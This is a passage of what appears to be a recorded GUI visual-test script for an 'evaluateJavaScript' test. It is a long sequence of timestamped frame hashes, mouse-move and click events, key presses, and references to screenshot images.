0 - sendToViewport: true - } - Frame { - msec: 3392 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3408 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 54; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 53; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3424 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3440 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3456 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3472 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3488 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3504 - hash: "9266775c7f2156977ff56fcd45246229" - } - Frame { - msec: 3520 - hash: "9266775c7f2156977ff56fcd45246229" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 52; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 52; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3536 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3552 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3568 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3584 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3600 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3616 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3632 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3648 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 52; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3664 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3680 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3696 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3712 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3728 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3744 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3760 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3776 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3792 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3808 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3824 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3840 - image: "evaluateJavaScript.3.png" - } - Frame { - msec: 3856 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3872 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3888 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3904 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3920 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3936 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3952 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3968 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Frame { - msec: 3984 - hash: "b62d9027299daa6ab8304d812ed00f83" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4016 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4032 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4048 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4064 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4080 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4096 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4112 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 4128 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4144 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4160 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4176 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4192 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4208 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4224 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4240 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4256 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4272 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4288 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4304 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4320 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4336 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4352 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4368 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4384 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4400 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4416 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4432 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4448 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4464 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4480 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4496 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4512 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4528 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4544 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4560 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4576 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4592 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4608 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4624 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4640 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4656 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4672 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4688 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4704 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4720 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4736 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4752 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4768 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Frame { - msec: 4784 - hash: "6cea5b700e402072a9953c81b605ef22" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "evaluateJavaScript.4.png" - } - Frame { - msec: 4816 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4832 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4848 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4864 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4880 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4896 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4912 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4928 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 4944 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4960 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4976 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 4992 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5008 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5024 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5040 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5056 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5072 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5088 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5104 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5120 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5136 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5152 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5168 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5184 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5200 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5216 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5232 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5248 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5264 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5280 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5296 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5312 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5328 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5344 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5360 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5376 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5392 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5408 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5424 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5440 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5456 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5472 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5488 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5504 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5520 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5536 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5552 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5568 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5584 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5600 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5616 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5632 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5648 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5664 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5680 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5696 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5712 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5728 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5744 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5760 - image: "evaluateJavaScript.5.png" - } - Frame { - msec: 5776 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5792 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5808 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 5824 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 54; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5840 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 206 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 204 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 204 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5856 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 202 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 200 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5872 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 200 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 196 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5888 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 192 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 102; y: 188 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5904 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 182 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 112; y: 176 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5920 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 116; y: 168 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 120; y: 158 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5936 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 124; y: 148 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 128; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5952 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 130; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 134; y: 112 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5968 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 100 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 142; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 150; y: 68 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 154; y: 62 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 158; y: 56 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 162; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 166; y: 44 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 168; y: 38 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 172; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 174; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 176; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 177; y: 18 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 16 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 14 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 12 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 11 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 10 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 179; y: 9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 180; y: 7 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 181; y: 5 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 181; y: 4 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 182; y: 2 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 183; y: 1 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6208 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6224 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6240 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6256 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6272 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6288 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6304 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6320 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6336 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6352 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6368 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6384 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6400 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6416 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6432 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6448 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6464 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6480 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6496 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6512 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6528 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6544 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6560 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6576 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6592 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6608 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6624 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6640 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6656 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6672 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6688 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6704 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6720 - image: "evaluateJavaScript.6.png" - } - Frame { - msec: 6736 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6752 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6768 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6784 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6800 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6816 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6832 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6848 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6864 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 176; y: 1 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 174; y: 15 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 172; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6880 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 166; y: 47 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 162; y: 63 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6896 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 156; y: 81 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 150; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6912 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 107 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6928 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 127 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 126; y: 133 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6944 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 122; y: 137 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 120; y: 138 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6960 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 120; y: 139 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6976 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 6992 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7008 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7024 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7040 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7056 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7072 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 119; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7088 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7104 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7120 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 117; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7136 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 116; y: 139 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 141 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7152 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 113; y: 149 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 109; y: 155 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7168 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 165 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 103; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7184 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 179 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 98; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7200 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 187 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 189 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7216 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 190 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7232 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7248 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7264 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7280 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 188 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7296 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 187 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 186 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7312 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 185 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 97; y: 184 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7328 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 97; y: 183 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 97; y: 182 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7344 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - 